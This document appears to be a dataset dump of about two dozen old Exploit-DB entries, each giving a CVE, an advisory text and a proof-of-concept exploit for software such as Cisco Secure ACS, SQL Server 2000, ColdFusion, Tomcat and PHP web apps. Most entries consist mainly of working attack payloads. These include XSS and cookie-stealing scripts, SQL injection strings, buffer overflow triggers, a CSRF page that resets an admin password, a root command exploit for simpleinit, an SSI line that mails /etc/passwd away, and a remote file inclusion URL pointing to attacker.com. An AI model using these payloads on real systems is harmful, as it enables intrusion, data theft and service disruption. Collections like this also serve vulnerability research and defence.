QLWD/code_shield huggingface dataset:
标题: Cisco Secure ACS for Windows NT 3.0 - Cross-Site Scripting EDB-ID: 21555 CVE: 2002-0938 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5026/info

Cisco Secure ACS is an access control and accounting server system. It is distributed and maintained by Cisco, and in this vulnerability affects implementations on the Microsoft Windows NT platform.

It has been discovered that the web server component of the Cisco Secure ACS package allows an attacker to execute cross-site scripting attacks. When this link is visited, the attacker-supplied HTML or script code could be executed in the browser of a user, provided the user has authenticated to the Secure ACS server. 

http://example.com:dyn_port/setup.exe?action=<script>alert('foo+bar')</script>&page=list_users&user=P* URL: https://www.exploit-db.com/exploits/21555
标题: Microsoft Internet Explorer 5/6 - CSSText Bold Font Denial of Service EDB-ID: 21556 CVE: 2002-1705 类型: DOS 平台: WINDOWS 发布日期: 2002-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5027/info

A problem with Microsoft Internet Explorer may make it possible to deny service to users of the browser. The problem is in the handling of certain types of stylesheet input.

It may be possible to crash IE. When IE encounters a style sheet with the p{cssText} element declared, and a font weight of bold is specified, the browser crashes. This could be used as a denial of service attack.


<style>p{cssText: font-weight: bold;}</style> URL: https://www.exploit-db.com/exploits/21556
标题: PHP Classifieds 6.0.5 - Cross-Site Scripting EDB-ID: 21552 CVE: 2002-1702 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5022/info

PHP Classifieds has been reported to be prone to cross-site scripting attacks. Attackers may inject arbitrary HTML or script code into URI parameters in a malicious link. When the malicious link is visited, the attacker's script code will be executed in the web client of the user browsing the link, in the security context of the website hosting the vulnerable software. 

http://target/phpclassifieds/latestwap.php?url=<script>alert('OopS');< URL: https://www.exploit-db.com/exploits/21552
标题: Lumigent Log Explorer 3.0.1 - XP_LogAttach_SetPort Buffer Overflow EDB-ID: 21551 CVE: 2002-0942 类型: LOCAL 平台: WINDOWS 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5017/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_setport stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default. 

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_setport @bo URL: https://www.exploit-db.com/exploits/21551
标题: Microsoft SQL Server 2000 - Password Encrypt procedure Buffer Overflow EDB-ID: 21549 CVE: 2002-0624 类型: LOCAL 平台: WINDOWS 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5014/info

A buffer overflow vulnerability has been reported in SQL Server 2000. The vunerability is a result of an unchecked buffer when using the password encrypt procedure. This procedure is used by administrators to provides support for the storage of SQL Server Authentication credentials.

The overrun condition is due to an unbounded data copy operation that occurs when processing the procedure arguments. Attackers may exploit this vulnerability by invoking the password encrypt procedure with excessive input.

SELECT pwdencrypt(REPLICATE('A',353)) URL: https://www.exploit-db.com/exploits/21549
标题: Ruslan Communications <Body>Builder - Authentication Bypass EDB-ID: 21543 CVE: 2002-0951 类型: WEBAPPS 平台: JAVA 发布日期: 2002-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5008/info

Ruslan Communications <Body>Builder is a tool designed to assist a user in creating a website. It allows for remote administration through a web interface, and is implemented in Java.

Reportedly, user input supplied as the login password is not adequately filtered. A malicious user may include special characters in the supplied password and modify the SQL query used to validate the user. Access to the administrative interface is possible. 

Use login='-- and pass='-- URL: https://www.exploit-db.com/exploits/21543
标题: Lumigent Log Explorer XP - _LogAttach_StartProf Buffer Overflow EDB-ID: 21550 CVE: 2002-0942 类型: LOCAL 平台: WINDOWS 发布日期: 2002-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5016/info

A buffer overflow vulnerability in xp_logattach.dll has been reported for Lumigent Log Explorer. Specifically, this affects the xp_logattach_StartProf stored procedure.

If this condition is successfully exploited, it is possible for locations in memory to be overwritten with attacker-supplied instructions, allowing for code execution as the SQL server process. By default, SQL Server runs as a non-privileged user.

It should be noted that extended stored procedures can be run only by the dbo user by default.

declare @bo varchar(8000)
set @bo = replicate('A', 800)
exec xp_logattach_StartProf @bo URL: https://www.exploit-db.com/exploits/21550
标题: ColdFusion MX - Missing Template Cross-Site Scripting EDB-ID: 21548 CVE: 2002-1700 类型: REMOTE 平台: CFM 发布日期: 2002-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5011/info

ColdFusion MX is prone to cross site scripting attacks.

Attacker-supplied script code may be included in a malicious missing template URI generated by the default Missing Template handler of ColdFusion. The attacker-supplied script code will be executed in the browser of a web user who visits this link, in the security context of the host running ColdFusion. 

http://CF_MX_SERVER/<script>alert(document.cookie)</script>.cfm URL: https://www.exploit-db.com/exploits/21548
标题: JAMF Casper Suite MDM - Cross-Site Request Forgery EDB-ID: 21545 CVE: 2012-4051 类型: WEBAPPS 平台: JSP 发布日期: 2012-09-27 漏洞利用脚本: CVE-2012-4051 - JAMF Casper Suite MDM CSRF Vulnerability

# Exploit Title: JAMF Software's Casper Suite MDM Solution CSRF
# Date: Discovered and reported July 2012
# Author: Jacob Holcomb/Gimppy042
# Software JAMF Software Casper Suite (http://jamfsoftware.com/products/casper-suite)
# CVE : CVE-2012-4051 for the CSRF 


<head>
<title>PwNd JAMF Casper Admin CSRF BY:Jacob Holcomb</title>
</head>

<body>

<form name="csrf" 
action="https://CASPERSUITE_SERVER:8443/editAccount.html" method="post">
<input type="hidden" name="view" value="Save"/>
<input type="hidden" name="source" value="jss"/>
<input type="hidden" name="lastPage" value="editAccountGeneral.jsp"/>
<input type="hidden" name="lastTab" value="Account"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="realname" value="Pwnd"/>
<input type="hidden" name="email" value="Admin"/>
<input type="hidden" name="phone" value="Password"/>
<input type="hidden" name="password" value="pwnd1"/>
<input type="hidden" name="vpassword" value="pwnd1"/>
<input type="hidden" name="user_id" value="1"/>
</form>

<script>
document.csrf.submit();
</script>

</body>
</html>


If the HTML parameter/variable "user_id" is changed to a value of negative
one (-1) this request to the web server will create a new user. URL: https://www.exploit-db.com/exploits/21545
标题: Netscape 4.77 - Composer Font Face Field Buffer Overflow EDB-ID: 21544 CVE: 2002-1766 类型: DOS 平台: MULTIPLE 发布日期: 2002-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5010/info

Netscape is a freely available web browser distributed by Netscape Communications, and available for various platforms. This vulnerability is known to affect those installations on the Linux platform.

A buffer overflow has been reported in the Composer function of Netscape. When an HTML page with a Font Face field of arbitrary length is edited using Netscape Composer, a memory corruption bug may occur that could allow the overwriting of process memory, and execution of attacker supplied code. 

<html>
<body>

<font face="X">Hola!</font>

</body>
</html>

where X is indicative of 191 or more characters. URL: https://www.exploit-db.com/exploits/21544
标题: Microsoft SQL Server 2000 - SQLXML Script Injection EDB-ID: 21541 CVE: 2002-0187 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/5005/info

SQLXML is a component of SQL Server 2000, which enables SQL servers to receive and send database queries via XML (Extensible Markup Language) format. Such queries can be sent using various methods of communication, one of which is via HTTP. SQLXML HTTP components reside in a virtual directory on a web server and are not enabled by default.

It is possible, under some circumstances, to inject arbitrary script code via XML tags. This may allow an attacker to execute script code in the context of the Internet Explorer Security Zone associated with the IIS server running the vulnerable components.

It should be noted that successful exploitation of this vulnerability is highly conditional. Firstly, the victim of the attack must have access to an IIS server running vulnerable versions of the SQLXML HTTP components. The victim of the attack must also have sufficient privileges to pass queries to the underlying SQL server. Lastly, the attacker must also have knowledge of the virtual directory that has been set up on the IIS Server for SQLXML HTTP components. 

IIS-server/Northwind?sql=SELECT+contactname,+phone+FROM+Customers+FOR+XML&root=
<SCRIPT>alert(document.domain)</SCRIPT> URL: https://www.exploit-db.com/exploits/21541
标题: Ayman Akt IRCIT 0.3.1 - Invite Message Remote Buffer Overflow EDB-ID: 21537 CVE: 2002-1891 类型: DOS 平台: LINUX 发布日期: 2002-06-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4998/info

IRCIT is a terminal based IRC client for Linux and Unix systems.

IRCIT contains a remote buffer overflow vulnerability. When a INVITE message is received, the supplied from user data is copied into a fixed buffer of length MAXHOSTLEN. A maliciously formatted message may overflow this buffer and execute arbitrary code as the IRCIT client. 

/* GOBBLES-invite.c */

#include <stdio.h>

int
main(int argc, char **argv)
{
        char heh[175], *store;
        int i;

        if(argc == 1) exit(0);

        sscanf(argv[1], "%p", &store);
        memset(heh, 'x', sizeof(heh));
        *(long *)&heh[166] = (long)store;
        *(long *)&heh[170] = (long)store;
        heh[174] = '\0';

        fprintf(stdout, "%s", heh);
        exit(0);
} URL: https://www.exploit-db.com/exploits/21537
标题: Netscape 4.x/6.x / Mozilla 0.9.x - Malformed Email POP3 Denial of Service EDB-ID: 21539 CVE: 2002-2338 类型: DOS 平台: MULTIPLE 发布日期: 2002-06-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5002/info

The Netscape Communicator and Mozilla browsers include support for email, and the ability to fetch mail through a POP3 server. Both products are available for a range of platforms, including Microsoft Windows and Linux.

Under some circumstances, malformed email messages may prevent Netscape and Mozilla clients from accessing POP3 mailboxes. In particular, users will be unable to access more recent messages or delete the malicious email. 

/* this is the code that comes with my
 * advisory #1 to illustrate this...
 * eldre8 at afturgurluk (double dot minus one) org
 */

#include
#include
#include
#include
#include
#include
#include
#include

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr, "\b\bbye!\n");
    close(sock);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT, SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET, SOCK_STREAM, 0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr), *(hp->h_addr_list), sizeof(struct in_addr));
    if (connect(sock, &sout, sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    recv(sock, buffer, 255, 0); /* receive the banner... */
    send(sock, EHLO, sizeof(EHLO), 0);
    recv(sock, buffer, 255, 0); /* receive the welcome message... */
    send(sock, MAIL, sizeof(MAIL), 0);
    recv(sock, buffer, 255, 0); /* receive the acknowledgement to mail from. */
    send(sock, RCPT, sizeof(RCPT), 0);
    recv(sock, buffer, 255, 0); /* idem, but for the rcpt to... */
    send(sock, DATA, sizeof(DATA), 0);
    recv(sock, buffer, 255, 0);
    i=sprintf(buffer, "b4d maIl 1n 4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1, "\n.\n");
    send(sock, buffer, i+1+3, 0); /* send the dumb thing ... */
    recv(sock, buffer, 255, 0);
    send(sock, QUIT, sizeof(QUIT), 0);
    recv(sock, buffer, 255, 0);
    close(sock);

    return 0;
} URL: https://www.exploit-db.com/exploits/21539
标题: CGIScript.net csNews 1.0 - Header File Type Restriction Bypass EDB-ID: 21533 CVE: 2002-0923 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/4994/info

csNews is a script for managing news items on a website. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

It is possible for a malicious admin user to bypass file type restrictions on the header and footer file. This may result in arbitrary system files being displayed to remote users, and the disclosure of sensitive information.

The ability to exploit this vulnerability may only require "public" access to csNews if used in conjunction with issues discussed in BID 4993.

javascript:alert(document.form1.pheader.value='setup.cgi'); URL: https://www.exploit-db.com/exploits/21533
标题: CGIScript.net csNews 1.0 - Double URL Encoding Unauthorized Administrative Access EDB-ID: 21532 CVE: 2002-0922 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/4993/info

csNews is a script for managing news items on a website. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Users with "public" access to the system may be able to view and modify some administration pages. This is accomplished by submitting a HTTP request in which some metacharacters are double URL encoded.


CSNews.cgi?database=default%2edb&command=showadv&mpage=manager
CSNews.cgi?command=manage&database=default%2edb&mpage=manager URL: https://www.exploit-db.com/exploits/21532
标题: Geeklog 1.3.5 - Calendar Event Form Script Injection EDB-ID: 21528 CVE: 2002-0962 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4974/info

Geeklog does not sufficiently sanitize script code from form fields, making it prone to script injection attacks.

Attacker-supplied script code may potentially end up in webpages generated by Geeklog and will execute in the browser of a user who views such pages, in the security context of the website. 

Link input($url) :&lt;scriptsrc="http://forum.olympos.org/f.js">Alper&lt;/script&gt; URL: https://www.exploit-db.com/exploits/21528
标题: Macromedia JRun 3/4 JSP Engine - Denial of Service EDB-ID: 21536 CVE: 2002-0937 类型: DOS 平台: WINDOWS 发布日期: 2002-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/4997/info

A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.

The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);

<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>

<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>

</body>
</html> URL: https://www.exploit-db.com/exploits/21536
标题: MakeBook 2.2 - Form Field Input Validation EDB-ID: 21535 CVE: 2002-0948 类型: WEBAPPS 平台: CGI 发布日期: 2002-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/4996/info

The MakeBook guestbook software does not sufficiently sanitize potentially dangerous characters from form field input. This may enable attackers to inject arbitrary HTML into form fields, which will be stored on guestbook pages. Additionally, it has been demonstrated that SSI (Server-Side Includes) may also be injected in this manner, and may be executed depending on the underlying environment. 

Server-Side Include example:

Name: <!--#exec cmd="/bin/mail address@host < /etc/passwd"-->

HTML Injection example:

Name: <img src="javascript:alert('test');"> URL: https://www.exploit-db.com/exploits/21535
标题: Apache Tomcat 3/4 - JSP Engine Denial of Service EDB-ID: 21534 CVE: 2002-0936 类型: DOS 平台: LINUX 发布日期: 2002-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/4995/info

A vulnerability has been reported in Apache Tomcat for Windows that results in a denial of service condition. The vulnerability occurs when Tomcat encounters a malicious JSP page.

The following snippet of code is reported to crash the Tomcat JSP engine:
new WPrinterJob().pageSetup(null,null); 

<%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%>
<%@ page import="sun.awt.windows.*" %>
<%! %>
<%
//
%>
<html>
<head>
<title>aa</title>
</head>
<body>

<p>
<FONT SIZE="+2">dON/T TR1 thiz @ home</font>
</p>
<%
new WPrinterJob().pageSetup(null,null);
%>

</body>
</html> URL: https://www.exploit-db.com/exploits/21534
标题: MyHelpDesk 20020509 - SQL Injection EDB-ID: 21527 CVE: 2002-0932 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4971/info

It is reported that MyHelpDesk (version 20020509 and earlier) are vulnerable to SQL injection attacks.

Data supplied by the remote user, via CGI parameters, is used directly as part of SQL statements. As input sanitization is not properly performed, it is possible to modify the logic of a SQL query. 

http://[TARGET]/supporter/index.php?t=detailticket&id=root%20me URL: https://www.exploit-db.com/exploits/21527
标题: Seanox DevWex Windows Binary 1.2002.520 - File Disclosure EDB-ID: 21530 CVE: 2002-0946 类型: REMOTE 平台: WINDOWS 发布日期: 2002-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/4978/info

The Seanox DevWex Windows binary version is prone to an issue which may cause arbitrary web-readable files to be disclosed to remote attackers. This problem occurs because DevWex does not sufficiently filter '..\' sequences from web requests. 

GET /..\..\..\..\anyfile URL: https://www.exploit-db.com/exploits/21530
标题: W-Agora 4.1.x - Remote File Inclusion EDB-ID: 21529 CVE: 2002-1878 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4977/info

W-Agora is prone to an issue which may allow an attacker to include arbitrary files located on a remote server. In particular, the 'inc_dir' variable found in a number of the W-Agora scripts defines the path to the configuration file. It is possible, under some configurations, for an attacker to specify an arbitrary value for the location of the configuration file which points to a file on a remote server.

If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code.

http://[target]/include/oci8.php?inc_dir=http://www.attacker.com&ext=txt URL: https://www.exploit-db.com/exploits/21529
标题: Richard Gooch SimpleInit 2.0.2 - Open File Descriptor EDB-ID: 21538 CVE: 2002-0767 类型: LOCAL 平台: LINUX 发布日期: 2002-06-12 漏洞利用脚本: // source: https://www.securityfocus.com/bid/5001/info

A vulnerability has been reported for simpleinit that may allow users to execute arbitrary commands as the superuser.

The vulnerability occurs because simpleinit may allow some child processes to inherit a file descriptor with read-write access. The file descriptor is used to access /dev/initctl and this descriptor is normally used by 'initctl', 'need' and 'provide' programs to pass instructions to simpleinit. The simpleinit process runs with root privileges.

A local user whose process inherits this file descriptor will be able to cause simpleinit to execute commands as the superuser.

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "simpleinit.h"  /* From the util-linux source */

int main()
{
   int fd = 3;
   char buf[COMMAND_SIZE];
   struct command_struct* cmd = (struct command_struct*) buf;

   memset(buf, '\0', sizeof(buf));
   cmd->command = COMMAND_NEED;
   cmd->pid = 17;
   cmd->ppid = 16;
   strcpy(cmd->name, "/home/pat/x/foo");  /* foo will be run as root */
   write(fd, buf, COMMAND_SIZE);
   return 0;
} URL: https://www.exploit-db.com/exploits/21538
标题: Microsoft SQL Server 2000 - 'SQLXML' Buffer Overflow (PoC) EDB-ID: 21540 CVE: 2002-0186 类型: DOS 平台: WINDOWS 发布日期: 2002-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/5004/info

SQLXML is a component of SQL Server 2000, which enables SQL servers to receive and send database queries via XML (Extensible Markup Language) format. Such queries can be sent using various methods of communication, one of which is via HTTP. SQLXML HTTP components reside in a virtual directory on a web server and are not enabled by default, SQLXML ISAPI extensions run with LocalSystem privileges.

A buffer overflow issue has been discovered in the SQLXML ISAPI extension that handles data queries over HTTP(SQLXML HTTP).

It is possible for a user to initiate the overflow by connecting to a host and submitting malformed data.

This issue has been reported to exist in SQL Server 2000 Gold, other versions may be vulnerable as well. 

IIS-Server/Nwind/Template/catalog.xml?contenttype=text/AAAA...AAA

This uses a 'template' file instead of a direct query to cause inetinfo.exe to crash. URL: https://www.exploit-db.com/exploits/21540
标题: MyHelpDesk 20020509 - HTML Injection EDB-ID: 21519 CVE: 2002-0931 类型: WEBAPPS 平台: PHP 发布日期: 2002-06-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4967/info

It has been reported that MyHelpDesk is vulnerable to HTML injection attacks.

MyHelpDesk does not properly sanitize HTML tags from form fields. Attackers may pass arbitrary HTML and script code through the unsanitized form fields or through parameters specified via URL. The attacker-supplied HTML code will be executed by the web client of users who visit such pages, in the security context of the site running the vulnerable software.

This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

&lt;script src="http://forum.olympos.org/f.js">Alper&lt;/script&gt; URL: https://www.exploit-db.com/exploits/21519